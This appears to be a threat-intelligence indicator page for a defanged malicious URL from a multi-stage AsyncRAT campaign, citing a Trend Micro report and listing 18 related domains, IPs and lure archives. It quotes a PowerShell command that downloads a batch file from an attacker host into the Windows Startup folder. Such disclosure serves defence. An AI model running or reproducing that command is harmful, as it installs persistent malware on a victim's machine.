hxxps://plus-condos-thy-redeem.trycloudflare[.]com/ahke.batURL
Reported by 1 independent source · first reported by Trend Micro Research · last reported
Last reported 9 months ago
What the reports say
1 report, newest first · the exact sentence from each-
Analyzing a Multi-Stage AsyncRAT Campaign via Managed Detection and Response“powershell -Command "iwr 'hxxps://plus-condos-thy-redeem.trycloudflare[.]com/ahke.bat' -OutFile 'C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ahke.bat'"”
Indicators reported together
named in the same reports- hxxps://dl.dropboxusercontent[.]com/scl/fi/50mvsqpvyxid7m39g773l/Rechnung-zu-Auftrag-W19248960825.pdf.zip?rlkey=rtgatrazvz9rbqtxbj9rtf7os&st=t318uel6&dl=0in 1 report
- owners-insertion-rentals-pursuit.trycloudflare[.]comin 1 report
- 87.106.191[.]217in 1 report
- strength-blind-bristol-ten.trycloudflare[.]comin 1 report
- syracuse-seeks-wilson-row.trycloudflare[.]comin 1 report
- citysearch-packed-bacterial-receptors.trycloudflare[.]comin 1 report
- 104.16.230[.]132in 1 report
- hxxps://plus-condos-thy-redeem.trycloudflare[.]com/in 1 report
- plus-condos-thy-redeem.trycloudflare[.]comin 1 report
- hxxp://plus-condos-thy-redeem.trycloudflare[.]com/anc.wsfin 1 report
- hxxps://www.python[.]org/ftp/python/3.14.0/python-3.14.0-embed-amd64.zipin 1 report
- hxxps://www.ihk[.]de/blueprint/servlet/resource/blob/5581278/1cafa7f203df9d83e050d9f01677ffe6/rechnung-kleinunternehmer-data.pdfin 1 report
- hxxps://plus-condos-thy-redeem.trycloudflare[.]com/olsm.batin 1 report
- hxxps://plus-condos-thy-redeem.trycloudflare[.]com/ab/ne.pyin 1 report
- hxxps://plus-condos-thy-redeem.trycloudflare[.]comin 1 report
- hxxps://plus-condos-thy-redeem.trycloudflare[.]com/ow/new.binin 1 report
- hxxps://plus-condos-thy-redeem.trycloudflare[.]com/ab/a.txtin 1 report
- hxxps://www.dropbox[.]com/scl/fi/b0hjyzf31f6aiwk0w94qo/RC-4583729_Oct22_2025_Statement.pdf-2.zip?rlkey=02txbrm2qhy58iiwnkzl94zal&st=6x08apya&dl=1in 1 report
Copy these 18 indicators · defanged
Thanks — we review every report.